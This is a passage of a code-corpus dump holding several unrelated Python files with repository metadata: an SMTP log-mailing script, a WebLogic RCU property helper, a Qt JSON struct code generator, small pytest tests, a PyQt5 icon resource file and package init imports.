7ibKG6DMJysPwuJ6jp/zFKP5pUHEU2+vp0KSUfnggZEgHmp65n5gH/T3Q6oQPxYDrpDvmxtFlTs2qELbcbj6fcxQUXiIV5Y+xPP7KjQdt+p1HDSr5h3izRQ+Qp50PxU9136k5Um1zLUJjSEBfLUa8L7U6bkGna97D+CrmfpmVoQgJfFP9UIUwuJeH8NM5Ucv6PyENIruU2Uuqk/PL6Rvva5kV0XO4KR2+UzxkOIXG6LHL+IvlWbYsMq8iTl4Y4RUBVJyqJIuxhm8B0aaqhHeidlujGK+0jAx5mBMzzgGOCWBeVlqmBhnO0dlOU/zRpwLOGnqAorMxnjhPLAuDea3i07Nsgu0JI9ljhgKSrFIw1f4czBFFi6fqa04X57r1rAbfOqA72DNokAsAfJjWeEFK3NHGaiUg/OIu8ohOnhiT1+U88aCFQDecJZVsl7QhE9+OKWY28IrHt0z3h7lB/EIwCU/5pqU2R1bEdrIHp23xSpzFScTvPEGYKV4sw0CSjiBHnNr0vgcvwS9NGrOX1/Pjko2mg0NDkrf9mIOTmW0KVHmsKfoR50y0Mth7NzXBTM20itxnXx78hENxkXhayMq3Oj2IOe8ugeZ6PiVRyJJO4hykh3Kyj9QJjfiyMt5Iy2G7mmNQJ8faNhCiCA/FLkODbIYpJHtw1pPNPqAPGvxpjT9OgxkMEiZYwZF5h+D98ABNVoREZtR4EKv0nrCOPzH7wHrFIj86CWpmGGAyo+NFb5S5QAPfBTCga1rUrgeH15JFhoTcWVyo55D3rBBepuq+UE/lrHJTYSqyg1807egzNAdB8yDr0F468MMZaABqiO3IpIjMWCfGxVlMinhoxDosGVFkau2AfQQ9lppiEzjVzJlpOrwVkRnWBnTWFWdlxbxMK5w400jkukEZksNNBJoJDChEmgMeEIrrmG7kQASaAy40YNGAhMsgcaAJ7jyGtYbCTQG3OhAI4EJlkBjwBNceQ3rjQQaA250oJHABEugMeAJrryG9UYCjQE3OtBIYIIl0BjwBFdew3ojgcaAGx1oJDDBEpjSpzfTsCx8giXUsN5IYKZKQLY7pS9oWl93zlQuG74aCTQSSEkA252n/veoDgsLdzNK4TZhjQQaCcwwCciAj/0f2Bff2xOYFKcAAAAASUVORK5CYII='/>", 'html', 'utf-8')) # 附件1 att1 = MIMEText(open('log.word', 'rb').read(), 'base64', 'utf-8') # 这里的filename可以任意写，写什么名字，邮件中显示什么名字 att1["Content-Disposition"] = 'attachment; filename="log.word"' msg.attach(att1) # 构造附件2 # att2 = MIMEText(open('d:\\123.txt', 'rb').read(), 'base64', 'gb2312') # att2["Content-Type"] = 'application/octet-stream' # att2["Content-Disposition"] = 'attachment; filename="123.txt"' # msg.attach(att2) # 连接smtp服务器，明文/SSL/TLS三种方式，根据你使用的SMTP支持情况选择一种 # 普通方式，通信过程不加密 # smtp = smtplib.SMTP(smtp_server, 25) # smtp.ehlo() # smtp.login(from_addr, password) # 纯粹的ssl加密方式，通信过程加密，邮件数据安全 server = smtplib.SMTP_SSL(smtp_server, smtp_port) server.ehlo() # server.set_debuglevel(true) server.login(from_addr, password) try: server.sendmail(from_addr, [to_addr], msg.as_string()) # 发送地址需与登陆的邮箱一致 print("邮件发送成功！") server.quit() except smtplib.SMTPException: print("Error: 无法发送邮件") def start(): send_email() # # class lzpTestCase(unittest.TestCase): # def test_mail(self): # pass if __name__ == '__main__' : # cleanLog() start()

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d0bff2912ae50240fcac8c08a932fefbcf9576b3

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py

Python

core/src/main/python/wlsdeploy/tool/create/rcudbinfo_helper.py

wszczurek/weblogic-deploy-tooling

f29f7d92524e4cf3192256f5fe899f2ed8560fc0

[ "MIT" ]

null

core/src/main/python/wlsdeploy/tool/create/rcudbinfo_helper.py

wszczurek/weblogic-deploy-tooling

f29f7d92524e4cf3192256f5fe899f2ed8560fc0

[ "MIT" ]

null

core/src/main/python/wlsdeploy/tool/create/rcudbinfo_helper.py

wszczurek/weblogic-deploy-tooling

f29f7d92524e4cf3192256f5fe899f2ed8560fc0

[ "MIT" ]

null

""" Copyright (c) 2017, 2019, Oracle and/or its affiliates. All rights reserved. The Universal Permissive License (UPL), Version 1.0 """ from wlsdeploy.aliases import model_constants def get_atp_tns_admin(rcu_properties_map): return rcu_properties_map[model_constants.DRIVER_PARAMS_NET_TNS_ADMIN] def get_atp_entry(rcu_properties_map): return rcu_properties_map[model_constants.ATP_TNS_ENTRY] def get_rcu_prefix(rcu_properties_map): return rcu_properties_map[model_constants.RCU_PREFIX] def get_rcu_schema_password(rcu_properties_map): return rcu_properties_map[model_constants.RCU_SCHEMA_PASSWORD] def get_keystore_password(rcu_properties_map): return rcu_properties_map[model_constants.DRIVER_PARAMS_KEYSTOREPWD_PROPERTY] def get_truststore_password(rcu_properties_map): return rcu_properties_map[model_constants.DRIVER_PARAMS_TRUSTSTOREPWD_PROPERTY] def get_admin_password(rcu_properties_map): return rcu_properties_map[model_constants.RCU_ADMIN_PASSWORD] def get_rcu_regular_db_conn(rcu_properties_map): return rcu_properties_map[model_constants.RCU_DB_CONN] def get_atp_default_tablespace(rcu_properties_map): if model_constants.ATP_DEFAULT_TABLESPACE in rcu_properties_map: return rcu_properties_map[model_constants.ATP_DEFAULT_TABLESPACE] else: return 'DATA' def get_atp_temporary_tablespace(rcu_properties_map): if model_constants.ATP_TEMPORARY_TABLESPACE in rcu_properties_map: return rcu_properties_map[model_constants.ATP_TEMPORARY_TABLESPACE] else: return 'TEMP' def get_atp_admin_user(rcu_properties_map): if model_constants.ATP_ADMIN_USER in rcu_properties_map: return rcu_properties_map[model_constants.ATP_ADMIN_USER] else: return 'admin' def get_rcu_variables(rcu_properties_map): if model_constants.RCU_VARIABLES in rcu_properties_map: return rcu_properties_map[model_constants.RCU_VARIABLES] else: return None

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d0d9ea96f5a8d712ce4476366d1a896dfe0c5fdc

18,126

py

Python

Exporters/export_json.py

lukedupin/libs

0cd2a383f1abfdadd05172bec76d196c84974f1f

[ "MIT" ]

null

Exporters/export_json.py

lukedupin/libs

0cd2a383f1abfdadd05172bec76d196c84974f1f

[ "MIT" ]

null

Exporters/export_json.py

lukedupin/libs

0cd2a383f1abfdadd05172bec76d196c84974f1f

[ "MIT" ]

null

#!/usr/bin/python3 import re, sys, os from json import struct_data def parse_type( btype ): match = re.match(r'^list<(.+)>', btype) if match is not None: recurse = parse_type( match[1] ) return ('QList<%s>' % recurse[0], recurse[1], match[1], None) if btype == "str": return ("QString", True, None, None) elif btype == "float": return ("double", True, None, "0.0") elif btype == "int": return ("int", True, None, "0") elif btype == "long": return ("qint64", True, None, "0") elif btype == "bool": return ("bool", True, None, "false") else: return (btype, False, None, None) def primitive_value( btype, input ): if btype == "str": return '%s.toString()' % input elif btype == "float": return '%s.toDouble()' % input elif btype == "int": return '%s.toInt()' % input elif btype == "long": return 'static_cast<qint64>( %s.toDouble() )' % input elif btype == "bool": return '%s.toBool()' % input else: return '%s::fromJson( %s )' % (btype, input) def primitive_qjs( btype, input ): if btype == "str": return '%s.toString()' % input elif btype == "float": return '%s.toNumber()' % input elif btype == "int": return '%s.toInt()' % input elif btype == "long": return 'static_cast<qint64>( %s.toNumber() )' % input elif btype == "bool": return '%s.toBool()' % input else: return None def handy( struct ): fields = [] for field in struct['fields']: info = field.split(' ') parse = parse_type( info[0]) fields.append( {'cpp': parse[0], 'primitive': parse[1], 'array': parse[2], 'init': parse[3], 'py': info[0], 'name': info[1] } ) return (struct['name'], fields) def handle( js, output_dir ): dir = output_dir + "/" out = open(dir+"Json/json_struct.h", "w") out.write('''// Generated file. // Edit Scripts/json.py, then run ./export_struct.py .. #ifndef JSON_STRUCT_H #define JSON_STRUCT_H #include <QList> #include <QJsonObject> #include <QJsonArray> #include <QJsonValue> #include <QJSValue> #include "json_struct_helper.h" ''') # Output the api for struct in js: klass, fields = handy( struct ) out.write("\n") out.write("class %s\n" % klass ) out.write("{\n") out.write(" JSON_STRUCT_HELPER( %s )\n" % klass ) out.write("\n") for field in fields: if field['init'] is not None: out.write(" %s %s = %s;\n" % (field['cpp'], field['name'], field['init']) ) else: out.write(" %s %s;\n" % (field['cpp'], field['name'])) out.write("};\n") out.write("\n") out.write("void apiStructRegister();\n") out.write("\n") out.write("#endif\n") out.close() ### CPP output # Build out the register calls out = open(dir+"Json/json_struct.cpp", "w") out.write('// Generated file.\n') out.write('// Edit Scripts/json.py, then run ./export_struct.py ..\n\n') out.write('#include <Json/json_struct.h>\n') out.write('#include <Util/api_util.h>\n') # Output the api for struct in js: klass, fields = handy( struct ) out.write("\n") ## fromJson() out.write("%s %s::fromJson( QJsonObject&& obj, bool* successful )\n" % (klass, klass) ) out.write("{\n") out.write(" return fromJson( &obj, successful );\n") out.write("}\n") ## fromJson() out.write("%s %s::fromJson( QJsonObject* obj, bool* successful )\n" % (klass, klass) ) out.write("{\n") out.write(" %s result;\n" % klass) out.write(" int hits = 0;\n") out.write("\n") if len(fields) <= 0: out.write( " Q_UNUSED(obj)\n" ) for field in fields: # Are we a primitive if field['primitive']: # Deal with an Array if field['array']: out.write(' if (obj->contains("%s") )\n' % field['name']) out.write(' {\n') out.write(' hits++;\n') out.write(' auto&& ary = (*obj)["%s"].toArray();\n' % field['name']) out.write(' for (int i = 0; i < ary.count(); i++ )\n') out.write(' result.%s.append( %s );\n' % (field['name'], primitive_value(field['array'], 'ary[i]'))) out.write(' }\n') else: data = primitive_value( field['py'], '(*obj)["%s"]' % (field['name'])) out.write(' if ( obj->contains( "%s" ) )\n' % (field['name'])) out.write(' {\n') out.write(' hits++;\n') out.write(' result.%s = %s;\n' % (field['name'], data)) out.write(' }\n') # This isn't primitive else: # Deal with an array if field['array']: out.write(' if (obj->contains("%s") )\n' % field['name']) out.write(' {\n') out.write(' hits++;\n') out.write(' auto&& ary = (*obj)["%s"].toArray();\n' % field['name']) out.write(' for (int i = 0; i < ary.count(); i++ )\n') out.write(' {\n') out.write(' auto&& pin = ary[i].toObject();\n') out.write(' auto&& info = %s::fromJson( &pin );\n' % field['array']) out.write(' result.%s.append(info);\n' % field['name']) out.write(' }\n') out.write(' }\n') else: out.write(' if ( obj->contains( "%s" ) )\n' % field['name'] ) out.write(' {\n') out.write(' hits++;\n') out.write(' auto&& pin = (*obj)["%s"].toObject();\n' % field['name']) out.write(' result.%s = %s::fromJson( &pin );\n' % (field['name'], field['cpp'])) out.write(' }\n') out.write("\n") out.write(" if ( successful != nullptr ) *successful = (hits == %d);\n" % len(fields)) out.write("\n") out.write(" return result;\n") out.write("}\n") out.write("\n") ## fromQJSValue() out.write("%s %s::fromQJSValue( QJSValue* obj, bool* successful )\n" % (klass, klass) ) out.write("{\n") out.write(" %s result;\n" % klass) out.write(" int hits = 0;\n") out.write("\n") if len(fields) <= 0: out.write( " Q_UNUSED(obj)\n" ) for field in fields: # Are we a primitive if field['primitive']: # Deal with an Array if field['array']: out.write(' if (obj->hasProperty("%s") )\n' % field['name']) out.write(' {\n') out.write(' hits++;\n') out.write(' auto&& ary = obj->property("%s");\n' % field['name']) out.write(' auto count = static_cast<quint32>( ary.property("length").toInt());\n') out.write(' for (quint32 i = 0; i < count; i++ )\n') out.write(' result.%s.append( %s );\n' % (field['name'], primitive_qjs(field['array'], 'ary.property(i)'))) out.write(' }\n') else: data = primitive_qjs( field['py'], 'obj->property("%s")' % (field['name'])) out.write(' if ( obj->hasProperty( "%s" ) )\n' % field['name']) out.write(' {\n') out.write(' hits++;\n') out.write(' result.%s = %s;\n' % (field['name'], data)) out.write(' }\n') # This isn't primitive else: # Deal with an array if field['array']: out.write(' if (obj->hasProperty("%s") )\n' % field['name']) out.write(' {\n') out.write(' hits++;\n') out.write(' auto&& ary = obj->property("%s");\n' % field['name']) out.write(' auto count = static_cast<quint32>( ary.property("length").toInt());\n') out.write(' for (quint32 i = 0; i < count; i++ )\n') out.write(' {\n') out.write(' auto&& pin = ary.property(i);\n') out.write(' auto&& info = %s::fromQJSValue( &pin );\n' % field['array']) out.write(' result.%s.append(info);\n' % field['name']) out.write(' }\n') out.write(' }\n') else: out.write(' if ( obj->hasProperty( "%s" ) )\n' % field['name'] ) out.write(' {\n') out.write(' hits++;\n') out.write(' auto&& pin = obj->property("%s");\n' % field['name']) out.write(' result.%s = %s::fromQJSValue( &pin );\n' % (field['name'], field['cpp'])) out.write(' }\n') out.write("\n") out.write(" if ( successful != nullptr ) *successful = (hits == %d);\n" % len(fields)) out.write("\n") out.write(" return result;\n") out.write("}\n") out.write("\n") ## fromJsonList out.write("QList<%s> %s::fromJsonList( QList<QJsonObject>&& ary, bool* successful )\n" % (klass, klass) ) out.write("{\n") out.write(" QList<%s> result;\n" % klass) out.write(" bool succ = true;\n") out.write("\n") out.write(" for ( auto& entry : ary ) {\n") out.write(" bool tmp = false;\n") out.write(" result.append( %s::fromJson( &entry, &tmp ) );\n" % klass) out.write(" succ &= tmp;\n") out.write(" }\n") out.write("\n") out.write(" if ( successful != nullptr ) *successful = succ;\n") out.write("\n") out.write(" return result;\n") out.write("}\n") out.write("\n") ## fromJsonList out.write("QList<%s> %s::fromJsonList( QList<QJsonObject>* ary, bool* successful )\n" % (klass, klass) ) out.write("{\n") out.write(" QList<%s> result;\n" % klass) out.write(" bool succ = true;\n") out.write("\n") out.write(" for ( auto& entry : *ary ) {\n") out.write(" bool tmp = false;\n") out.write(" result.append( %s::fromJson( &entry, &tmp ) );\n" % klass) out.write(" succ &= tmp;\n") out.write(" }\n") out.write("\n") out.write(" if ( successful != nullptr ) *successful = succ;\n") out.write("\n") out.write(" return result;\n") out.write("}\n") out.write("\n") ## toArray out.write("QJsonArray %s::toArray( QList<%s>* ary )\n" % (klass, klass) ) out.write("{\n") out.write(" QVariantList result;\n") out.write("\n") out.write(" for ( auto& entry : *ary )\n") out.write(" result.append( entry.toJson() );\n") out.write("\n") out.write(" return QJsonArray::fromVariantList( result );\n") out.write("}\n") out.write("\n") ### toQJSValue() #out.write("QJSValue %s::toQJSValue( QJSEngine* engine )\n" % klass ) #out.write("{\n") #out.write(" QJSValue result;\n") #out.write("\n") #engine_used = False #for field in fields: # # Are we a primitive # if field['primitive']: # # Deal with an Array # if field['array']: # engine_used = True # out.write(' {\n') # out.write(' auto&& ary = QVariantList();\n') # out.write(' for (auto& item : %s )\n' % field['name']) # out.write(' ary.append( item );\n') # out.write(' result.setProperty( "%s", convertToQJSValue( engine, QJsonValue( QJsonArray::fromVariantList( ary))));\n' % field['name']) # out.write(' }\n') # else: # if field['py'] != 'long': # out.write(' result.setProperty( "%s", %s );\n' % (field['name'], field['name'])) # else: # out.write(' result.setProperty( "%s", static_cast<double>(%s) );\n' % (field['name'], field['name'])) # # This isn't primitive # else: # # Deal with an array # if field['array']: # engine_used = True # out.write(' {\n') # out.write(' auto&& ary = QVariantList();\n') # out.write(' for (auto& item : %s )\n' % field['name']) # out.write(' ary.append( item.toJson() );\n') # out.write(' result.setProperty( "%s", convertToQJSValue( engine, QJsonValue( QJsonArray::fromVariantList( ary))));\n' % field['name']) # out.write(' }\n') # else: # engine_unused = True # out.write(' result.setProperty( "%s", convertToQJSValue( engine, QJsonValue( %s.toJson())));\n' % (field['name'], field['name'])) #out.write("\n") #if not engine_used: # out.write(" Q_UNUSED(engine)\n") # out.write("\n") #out.write(" return result;\n") #out.write("}\n") ## toJson() out.write("QJsonObject %s::toJson()\n" % klass ) out.write("{\n") out.write(" QJsonObject result;\n") out.write("\n") for field in fields: # Are we a primitive if field['primitive']: # Deal with an Array if field['array']: out.write(' {\n') out.write(' auto&& ary = QVariantList();\n') out.write(' for (auto& item : %s )\n' % field['name']) out.write(' ary.append( item );\n') out.write(' result.insert( "%s", QJsonArray::fromVariantList( ary ) );\n' % field['name']) out.write(' }\n') else: out.write(' result.insert( "%s", QJsonValue(%s) );\n' % (field['name'], field['name'])) # This isn't primitive else: # Deal with an array if field['array']: out.write(' {\n') out.write(' auto&& ary = QVariantList();\n') out.write(' for (auto& item : %s )\n' % field['name']) out.write(' ary.append( item.toJson() );\n') out.write(' result.insert( "%s", QJsonArray::fromVariantList( ary ) );\n' % field['name']) out.write(' }\n') else: out.write(' result.insert( "%s", %s.toJson() );\n' % (field['name'], field['name'])) out.write("\n") out.write(" return result;\n") out.write("}\n") ## toJson() out.write("QJsonObject %s::describeObject()\n" % klass ) out.write("{\n") out.write(" QJsonObject result;\n") out.write("\n") for field in fields: # Are we a primitive if field['primitive']: # Deal with an Array if field['array']: out.write(' {\n') out.write(' auto&& ary = QVariantList();\n') out.write(' ary.append( QJsonValue("%s") );\n' % field['array']) out.write(' result.insert( "%s", QJsonArray::fromVariantList( ary ) );\n' % field['name']) out.write(' }\n') else: out.write(' result.insert( "%s", QJsonValue("%s") );\n' % (field['name'], field['cpp'])) # This isn't primitive else: # Deal with an array if field['array']: out.write(' {\n') out.write(' auto&& ary = QVariantList();\n') out.write(' ary.append( %s().describeObject() );\n' % field['array']) out.write(' result.insert( "%s", QJsonArray::fromVariantList( ary ) );\n' % field['name']) out.write(' }\n') else: out.write(' result.insert( "%s", %s.describeObject() );\n' % (field['name'], field['name'])) out.write("\n") out.write(" return result;\n") out.write("}\n") out.write("\n") out.write("void apiStructRegister()\n") out.write("{\n") for struct in js: out.write(' qRegisterMetaType<%s>( "%s" );\n' % (struct['name'], struct['name'])) out.write(' qRegisterMetaType<QList<%s>>( "QList<%s>" );\n' % (struct['name'], struct['name'])) out.write("}\n\n") #for struct in js: out.write("%s::~%s() {}\n" % (struct['name'], struct['name'])) out.close() # Ensure we have enough args if len(sys.argv) < 2: print("Usage ./%s output_dir" % sys.argv[0]) exit(0) handle( struct_data(), sys.argv[1] )

41.573394

162

0.434238

1,936

18,126

4.044421

0.082645

0.223755

0.134483

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0.804725

0.772669

0.756577

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0.690421

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0.003719

0.377027

18,126

435

163

41.668966

0.689692

0.136655

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0.663462

0

0.355187

0.043

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0.016026

false

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0.00641

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0.086538

0.003205

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null

1

0

1

0

1

0

null

0

6

ef0a90aa52289de2e09d8a5a7ecf1a69f11d8f43

300

py

Python

tests/test_salutation.py

bhushang098/template-python-hello-world

944c8a6d394082979ef0c97c49812df7d6634f5c

[ "MIT" ]

13

2020-02-21T00:46:52.000Z

2022-03-04T22:40:24.000Z

tests/test_salutation.py

bhushang098/template-python-hello-world

944c8a6d394082979ef0c97c49812df7d6634f5c

[ "MIT" ]

82

2019-10-21T05:48:46.000Z

2022-03-15T18:11:19.000Z

tests/test_salutation.py

bhushang098/template-python-hello-world

944c8a6d394082979ef0c97c49812df7d6634f5c

[ "MIT" ]

6

2020-07-31T05:02:48.000Z

2022-03-25T04:26:00.000Z

from src.salutation import hello def test_hello_without_name() -> None: assert hello() == "Hello, World!" def test_hello_with_sample_name() -> None: assert hello("Alice") == "Hello, Alice!" def test_hello_with_macronated_name() -> None: assert hello("Ātaahua") == "Hello, Ātaahua!"

21.428571

48

0.69

39

300

5.025641

0.435897

0.107143

0.183673

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0.163333

300

13

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23.076923

0.780876

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0.428571

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0.428571

true

0

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null

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0

1

0

1

0

6

ef0fde2ac71abf87f24dc51ff643539ee75dd0f6

32

py

Python

tests/test_PyCV.py

elben10/PyCV

4d061fef0c8892a42281250781e636beb24f1a33

[ "MIT" ]

null

tests/test_PyCV.py

elben10/PyCV

4d061fef0c8892a42281250781e636beb24f1a33

[ "MIT" ]

null

tests/test_PyCV.py

elben10/PyCV

4d061fef0c8892a42281250781e636beb24f1a33

[ "MIT" ]

null

def test_PyCV(): assert True

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3234e8ecaec2686dd129235cf4da27e1b229634c

96

py

Python

venv/lib/python3.8/site-packages/poetry/core/_vendor/jsonschema/benchmarks/json_schema_test_suite.py

Retraces/UkraineBot

3d5d7f8aaa58fa0cb8b98733b8808e5dfbdb8b71

[ "MIT" ]

2

2022-03-13T01:58:52.000Z

2022-03-31T06:07:54.000Z

venv/lib/python3.8/site-packages/poetry/core/_vendor/jsonschema/benchmarks/json_schema_test_suite.py

DesmoSearch/Desmobot

b70b45df3485351f471080deb5c785c4bc5c4beb

[ "MIT" ]

19

2021-11-20T04:09:18.000Z

2022-03-23T15:05:55.000Z

venv/lib/python3.8/site-packages/poetry/core/_vendor/jsonschema/benchmarks/json_schema_test_suite.py

DesmoSearch/Desmobot

b70b45df3485351f471080deb5c785c4bc5c4beb

[ "MIT" ]

null

/home/runner/.cache/pip/pool/1b/d0/b1/0b3128a8c185612f320616355a8d75cb9d3baef41d80018d51c6a0d67c

96

0.895833

9

96

9.555556

1

0

0.4375

0

96

1

96

0.458333

0

1

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null

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0

1

0

1

0

null

1

0

1

0

6

08bb415c79eb11c78229fa0813e5672625697762

74

py

Python

asteroid_gan_exps/data/__init__.py

JorisCos/asteroid_gan_exps

e3b9d3dc76265b3f4574ecb451df105f26acab3e

[ "MIT" ]

3

2020-11-23T10:07:47.000Z

2021-06-15T14:21:32.000Z

asteroid_gan_exps/data/__init__.py

JorisCos/asteroid_gan_exps

e3b9d3dc76265b3f4574ecb451df105f26acab3e

[ "MIT" ]

null

asteroid_gan_exps/data/__init__.py

JorisCos/asteroid_gan_exps

e3b9d3dc76265b3f4574ecb451df105f26acab3e

[ "MIT" ]

1

2020-12-03T13:40:46.000Z

from .metricGAN_dataset import MetricGAN from .SEGAN_dataset import SEGAN

24.666667

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1

0

1

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6

08d95f8969ef0ea65b8d6d4aa115d1752f88bf9b

109,938

py

Python

CatPhan/Resource.py

bozhikovstanislav/UI-Pylinac

ecccf4627adbe4b7a44a577e93c9cc9f4b42da7d

[ "MIT" ]

3

2020-12-24T20:23:24.000Z

2021-06-04T03:40:47.000Z

CatPhan/Resource.py

bozhikovstanislav/UI-Pylinac

ecccf4627adbe4b7a44a577e93c9cc9f4b42da7d

[ "MIT" ]

null

CatPhan/Resource.py

bozhikovstanislav/UI-Pylinac

ecccf4627adbe4b7a44a577e93c9cc9f4b42da7d

[ "MIT" ]

null

# -*- coding: utf-8 -*- # Resource object code # # Created by: The Resource Compiler for PyQt5 (Qt v5.6.2) # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore qt_resource_data = b"\ \x00\x00\x25\xbe\ \x00\ \x00\x01\x00\x01\x00\x30\x30\x00\x00\x00\x00\x00\x00\xa8\x25\x00\ \x00\x16\x00\x00\x00\x28\x00\x00\x00\x30\x00\x00\x00\x60\x00\x00\ \x00\x01\x00\x20\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x00\x00\ \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\ \x00\xff\xff\xff\x17\xff\xff\xff\x95\xfc\xff\xfd\xe1\xfd\xff\xfe\ \x99\xff\xff\xff\x44\xff\xff\xff\x14\xff\xff\xff\x00\xff\xff\xff\ \x00\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ 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3eb389fdbeca831bfe85b7e868eb2183852496d1

90

py

Python

src_nlp/tensorflow/depreciated/toward-control/modified_tf_classes/__init__.py

ashishpatel26/finch

bf2958c0f268575e5d51ad08fbc08b151cbea962

[ "MIT" ]

1

2019-02-12T09:22:00.000Z

src_nlp/tensorflow/depreciated/toward-control/modified_tf_classes/__init__.py

loopzxl/finch

bf2958c0f268575e5d51ad08fbc08b151cbea962

[ "MIT" ]

null

src_nlp/tensorflow/depreciated/toward-control/modified_tf_classes/__init__.py

loopzxl/finch

bf2958c0f268575e5d51ad08fbc08b151cbea962

[ "MIT" ]

1

2020-10-15T21:34:17.000Z

from .basic_decoder import BasicDecoder from .beam_search_decoder import BeamSearchDecoder

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